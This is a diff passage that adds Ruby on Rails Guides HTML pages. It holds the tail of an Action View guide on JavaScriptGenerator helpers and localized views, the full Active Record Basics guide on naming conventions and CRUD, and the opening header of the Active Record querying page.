+page['blank_slate'].show # =&gt; $('blank_slate').show();
+</pre>
+</div>
+</notextile>
+
+<h5 id="alert">8.15.3 alert</h5>
+<p>Displays an alert dialog with the given message.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.alert('This message is from Rails!')
+</pre>
+</div>
+</notextile>
+
+<h5 id="assign">8.15.4 assign</h5>
+<p>Assigns the JavaScript variable the given value.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.assign 'tabulated_total', @total_from_cart
+</pre>
+</div>
+</notextile>
+
+<h5 id="call">8.15.5 call</h5>
+<p>Calls the JavaScript function, optionally with the given arguments.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.call 'Element.replace', 'my_element', &quot;My content to replace with.&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="delay">8.15.6 delay</h5>
+<p>Executes the content of the block after a delay of the number of seconds provided.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.delay(20) do
+  page.visual_effect :fade, 'notice'
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="draggable">8.15.7 draggable</h5>
+<p>Creates a script.aculo.us draggable element. See ActionView::Helpers::ScriptaculousHelper for more information.</p>
+<h5 id="drop_receiving">8.15.8 drop_receiving</h5>
+<p>Creates a script.aculo.us drop receiving element. See ActionView::Helpers::ScriptaculousHelper for more information.</p>
+<h5 id="hide">8.15.9 hide</h5>
+<p>Hides the visible <span class="caps">DOM</span> elements with the given ids.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.hide 'person_29', 'person_9', 'person_0'
+</pre>
+</div>
+</notextile>
+
+<h5 id="insert_html">8.15.10 insert_html</h5>
+<p>Inserts <span class="caps">HTML</span> at the specified position relative to the <span class="caps">DOM</span> element identified by the given id.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.insert_html :bottom, 'my_list', '&lt;li&gt;Last item&lt;/li&gt;'
+</pre>
+</div>
+</notextile>
+
+<h5 id="literal">8.15.11 literal</h5>
+<p>Returns an object whose to_json evaluates to the code provided. Use this to pass a literal JavaScript expression as an argument to another JavaScriptGenerator method.</p>
+<h5 id="redirect_to">8.15.12 redirect_to</h5>
+<p>Redirects the browser to the given location using JavaScript, in the same form as <tt>url_for</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.redirect_to(:controller =&gt; 'accounts', :action =&gt; 'new')
+</pre>
+</div>
+</notextile>
+
+<h5 id="remove">8.15.13 remove</h5>
+<p>Removes the <span class="caps">DOM</span> elements with the given ids from the page.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.remove 'person_23', 'person_9', 'person_2'
+</pre>
+</div>
+</notextile>
+
+<h5 id="replace">8.15.14 replace</h5>
+<p>Replaces the &#8220;outer <span class="caps">HTML</span>&#8221; (i.e., the entire element, not just its contents) of the <span class="caps">DOM</span> element with the given id.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.replace 'person-45', :partial =&gt; 'person', :object =&gt; @person
+</pre>
+</div>
+</notextile>
+
+<h5 id="replace_html">8.15.15 replace_html</h5>
+<p>Replaces the inner <span class="caps">HTML</span> of the <span class="caps">DOM</span> element with the given id.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.replace_html 'person-45', :partial =&gt; 'person', :object =&gt; @person
+</pre>
+</div>
+</notextile>
+
+<h5 id="prototype-select">8.15.16 select</h5>
+<p>Returns a collection reference by finding it through a <span class="caps">CSS</span> pattern in the <span class="caps">DOM</span>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.select('p.welcome b').first.hide # =&gt; $$('p.welcome b').first().hide();
+</pre>
+</div>
+</notextile>
+
+<h5 id="show">8.15.17 show</h5>
+<p>Shows hidden <span class="caps">DOM</span> elements with the given ids.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.show 'person_6', 'person_13', 'person_223'
+</pre>
+</div>
+</notextile>
+
+<h5 id="sortable">8.15.18 sortable</h5>
+<p>Creates a script.aculo.us sortable element. Useful to recreate sortable elements after items get added or deleted. See ActionView::Helpers::ScriptaculousHelper for more information.</p>
+<h5 id="toggle">8.15.19 toggle</h5>
+<p>Toggles the visibility of the <span class="caps">DOM</span> elements with the given ids. Example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.toggle 'person_14', 'person_12', 'person_23'      # Hides the elements
+page.toggle 'person_14', 'person_12', 'person_23'      # Shows the previously hidden elements
+</pre>
+</div>
+</notextile>
+
+<h5 id="visual_effect">8.15.20 visual_effect</h5>
+<p>Starts a script.aculo.us visual effect. See ActionView::Helpers::ScriptaculousHelper for more information.</p>
+<p><span class="caps">TODO</span> start from RecordIdentificationHelper</p>
+<h3 id="localized-views">9 Localized Views</h3>
+<p>Action View has the ability render different templates depending on the current locale.</p>
+<p>For example, suppose you have a Posts controller with a show action. By default, calling this action will render <tt>app/views/posts/show.html.erb</tt>. But if you set <tt>I18n.locale = :de</tt>, then <tt>app/views/posts/show.de.html.erb</tt> will be rendered instead. If the localized template isn&#8217;t present, the undecorated version will be used. This means you&#8217;re not required to provide localized views for all cases, but they will be preferred and used if available.</p>
+<p>You can use the same technique to localize the rescue files in your public directory. For example, setting <tt>I18n.locale = :de</tt> and creating <tt>public/500.de.html</tt> and <tt>public/404.de.html</tt> would allow you to have localized rescue pages.</p>
+<p>Since Rails doesn&#8217;t restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some &#8220;expert&#8221; users that should see different pages from &#8220;normal&#8221; users. You could add the following to <tt>app/controllers/application.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+before_filter :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+</pre>
+</div>
+</notextile>
+
+<p>Then you could create special views like <tt>app/views/posts/show.expert.html.erb</tt> that would only be displayed to expert users.</p>
+<p>You can read more about the Rails Internationalization (I18n) <span class="caps">API</span> <a href="i18n.html">here</a>.</p>
+<h3 id="changelog">10 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/71">Lighthouse Ticket</a></p>
+<ul>
+	<li>September 3, 2009: Continuing work by Trevor Turk, leveraging the <a href="http://ap.rubyonrails.org/">Action Pack docs</a> and <a href="http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts">What&#8217;s new in Edge Rails</a></li>
+	<li>April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy&#8217;s docs</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/active_record_basics.html
@@ -0,0 +1,378 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Active Record Basics</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Active Record Basics</h2>
+<p>This guide is an introduction to Active Record. After reading this guide we hope that you&#8217;ll learn:</p>
+<ul>
+	<li>What Object Relational Mapping and Active Record are and how they are used in Rails</li>
+	<li>How Active Record fits into the Model-View-Controller paradigm</li>
+	<li>How to use Active Record models to manipulate data stored in a relational database</li>
+	<li>Active Record schema naming conventions</li>
+	<li>The concepts of database migrations, validations and callbacks</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#what-is-active-record">What is Active Record?</a><ul><li><a href="#the-active-record-pattern">The Active Record Pattern</a></li> <li><a href="#object-relational-mapping">Object Relational Mapping</a></li> <li><a href="#active-record-as-an-orm-framework">Active Record as an <span class="caps">ORM</span> Framework</a></li></ul></li><li><a href="#convention-over-configuration-in-active-record">Convention over Configuration in Active Record</a><ul><li><a href="#naming-conventions">Naming Conventions</a></li> <li><a href="#schema-conventions">Schema Conventions</a></li></ul></li><li><a href="#creating-active-record-models">Creating Active Record Models</a></li><li><a href="#overriding-the-naming-conventions">Overriding the Naming Conventions</a></li><li><a href="#reading-and-writing-data">Reading and Writing Data</a><ul><li><a href="#create">Create</a></li> <li><a href="#read">Read</a></li> <li><a href="#update">Update</a></li> <li><a href="#delete">Delete</a></li></ul></li><li><a href="#validations">Validations</a></li><li><a href="#callbacks">Callbacks</a></li><li><a href="#migrations">Migrations</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="what-is-active-record">1 What is Active Record?</h3>
+<p>Active Record is the M in <a href="getting_started.html#the-mvc-architecture"><span class="caps">MVC</span></a> &#8211; the model &#8211; which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.</p>
+<h4 id="the-active-record-pattern">1.1 The Active Record Pattern</h4>
+<p>Active Record was described by Martin Fowler in his book <em>Patterns of Enterprise Application Architecture</em>. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.</p>
+<h4 id="object-relational-mapping">1.2 Object Relational Mapping</h4>
+<p>Object-Relational Mapping, commonly referred to as its abbreviation <span class="caps">ORM</span>, is a technique that connects the rich objects of an application to tables in a relational database management system. Using <span class="caps">ORM</span>, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing <span class="caps">SQL</span> statements directly and with less overall database access code.</p>
+<h4 id="active-record-as-an-orm-framework">1.3 Active Record as an <span class="caps">ORM</span> Framework</h4>
+<p>Active Record gives us several mechanisms, the most important being the ability to:</p>
+<ul>
+	<li>Represent models and their data</li>
+	<li>Represent associations between these models</li>
+	<li>Represent inheritance hierarchies through related models</li>
+	<li>Validate models before they get persisted to the database</li>
+	<li>Perform database operations in an object-oriented fashion.</li>
+</ul>
+<h3 id="convention-over-configuration-in-active-record">2 Convention over Configuration in Active Record</h3>
+<p>When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for <span class="caps">ORM</span> frameworks in general. However, if you follow the conventions adopted by Rails, you&#8217;ll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can&#8217;t follow the conventions for any reason.</p>
+<h4 id="naming-conventions">2.1 Naming Conventions</h4>
+<p>By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class <tt>Book</tt>, you should have a database table called <strong>books</strong>. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:</p>
+<ul>
+	<li>Database Table &#8211; Plural with underscores separating words (e.g., book_clubs)</li>
+	<li>Model Class &#8211; Singular with the first letter of each word capitalized (e.g., BookClub)</li>
+</ul>
+<table>
+	<tr>
+		<th>Model / Class </th>
+		<th>Table / Schema </th>
+	</tr>
+	<tr>
+		<td>Post          </td>
+		<td>posts</td>
+	</tr>
+	<tr>
+		<td>LineItem      </td>
+		<td>line_items</td>
+	</tr>
+	<tr>
+		<td>Deer          </td>
+		<td>deer</td>
+	</tr>
+	<tr>
+		<td>Mouse         </td>
+		<td>mice</td>
+	</tr>
+	<tr>
+		<td>Person        </td>
+		<td>people</td>
+	</tr>
+</table>
+<h4 id="schema-conventions">2.2 Schema Conventions</h4>
+<p>Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.</p>
+<ul>
+	<li><strong>Foreign keys</strong> &#8211; These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models.</li>
+	<li><strong>Primary keys</strong> &#8211; By default, Active Record will use an integer column named &#8220;id&#8221; as the table&#8217;s primary key. When using <a href="migrations.html">Rails Migrations</a> to create your tables, this column will be automatically created.</li>
+</ul>
+<p>There are also some optional column names that will create additional features to Active Record instances:</p>
+<ul>
+	<li><strong>created_at</strong> &#8211; Automatically gets set to the current date and time when the record is first created.</li>
+	<li><strong>created_on</strong> &#8211; Automatically gets set to the current date when the record is first created.</li>
+	<li><strong>updated_at</strong> &#8211; Automatically gets set to the current date and time whenever the record is updated.</li>
+	<li><strong>updated_on</strong> &#8211; Automatically gets set to the current date whenever the record is updated.</li>
+	<li><strong>lock_version</strong> &#8211; Adds <a href="http://api.rubyonrails.com/classes/ActiveRecord/Locking.html">optimistic locking</a> to a model.</li>
+	<li><strong>type</strong> &#8211; Specifies that the model uses <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html">Single Table Inheritance</a></li>
+	<li><strong class="table_name">_count</strong> &#8211; Used to cache the number of belonging objects on associations. For example, a <tt>comments_count</tt> column in a <tt>Post</tt> class that has many instances of <tt>Comment</tt> will cache the number of existent comments for each post.</li>
+</ul>
+<div class='note'><p>While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, &#8220;type&#8221; is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using <span class="caps">STI</span>, try an analogous keyword like &#8220;context&#8221;, that may still accurately describe the data you are modeling.</p></div>
+<h3 id="creating-active-record-models">3 Creating Active Record Models</h3>
+<p>It&#8217;s very easy to create Active Record models. All you have to do is to subclass the <tt>ActiveRecord::Base</tt> class and you&#8217;re good to go:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Product &lt; ActiveRecord::Base; end
+</pre>
+</div>
+</notextile>
+
+<p>This will create a <tt>Product</tt> model, mapped to a <strong>products</strong> table at the database. By doing this you&#8217;ll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the <strong>products</strong> table was created using an <span class="caps">SQL</span> sentence like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+</pre>
+</div>
+</notextile>
+
+<p>Following the table schema above, you would be able to write code like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+p = Product.new
+p.name = &quot;Some Book&quot;
+puts p.name # &quot;Some Book&quot;
+</pre>
+</div>
+</notextile>
+
+<h3 id="overriding-the-naming-conventions">4 Overriding the Naming Conventions</h3>
+<p>What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.</p>
+<p>You can use the <tt>ActiveRecord::Base.set_table_name</tt> method to specify the table name that should be used:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Product &lt; ActiveRecord::Base
+  set_table_name &quot;PRODUCT&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the <tt>set_fixture_class</tt> method in your test definition:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class FunnyJoke &lt; ActiveSupport::TestCase
+  set_fixture_class :funny_jokes =&gt; 'Joke'
+  fixtures :funny_jokes
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>It&#8217;s also possible to override the column that should be used as the table&#8217;s primary key using the <tt>ActiveRecord::Base.set_primary_key</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Product &lt; ActiveRecord::Base
+  set_primary_key &quot;product_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="reading-and-writing-data">5 Reading and Writing Data</h3>
+<p><span class="caps">CRUD</span> is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.</p>
+<h4 id="create">5.1 Create</h4>
+<p>Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The <em>new</em> method will return a new object while <em>create</em> will return the object and save it to the database.</p>
+<p>For example, given a model <tt>User</tt> with attributes of <tt>name</tt> and <tt>occupation</tt>, the <em>create</em> method call will create and save a new record into the database:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user = User.create(:name =&gt; &quot;David&quot;, :occupation =&gt; &quot;Code Artist&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>Using the <em>new</em> method, an object can be created without being saved:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user = User.new
+  user.name = &quot;David&quot;
+  user.occupation = &quot;Code Artist&quot;
+</pre>
+</div>
+</notextile>
+
+<p>A call to <em>user.save</em> will commit the record to the database.</p>
+<p>Finally, passing a block to either create or new will return a new User object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user = User.new do |u|
+    u.name = &quot;David&quot;
+    u.occupation = &quot;Code Artist&quot;
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="read">5.2 Read</h4>
+<p>Active Record provides a rich <span class="caps">API</span> for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# return all records
+  users = User.all
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# return the first record
+  user = User.first
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# return the first user named David
+  david = User.find_by_name('David')
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# find all users named David who are Code Artists and sort by created_at in reverse chronological order
+  users = User.all(:conditions =&gt; { :name =&gt; 'David', :occupation =&gt; 'Code Artist'}, :order =&gt; 'created_at DESC')
+</pre>
+</div>
+</notextile>
+
+<p>You can learn more about querying an Active Record model in the &#8220;Active Record Query Interface&#8221;:&#8220;active_record_querying.html&#8221; guide.</p>
+<h4 id="update">5.3 Update</h4>
+<p>Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user = User.find_by_name('David')
+  user.name = 'Dave'
+  user.save
+</pre>
+</div>
+</notextile>
+
+<h4 id="delete">5.4 Delete</h4>
+<p>Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user = User.find_by_name('David')
+  user.destroy
+</pre>
+</div>
+</notextile>
+
+<h3 id="validations">6 Validations</h3>
+<p>Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the <a href="active_record_validations_callbacks.html#validations-overview">Active Record Validations and Callbacks guide</a>.</p>
+<h3 id="callbacks">7 Callbacks</h3>
+<p>Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the <a href="active_record_validations_callbacks.html#callbacks-overview">Active Record Validations and Callbacks guide</a>.</p>
+<h3 id="migrations">8 Migrations</h3>
+<p>Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the <a href="migrations.html">Active Record Migrations guide</a></p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/active_record_querying.html
@@ -0,0 +1,1198 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Active Record Query Interface</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
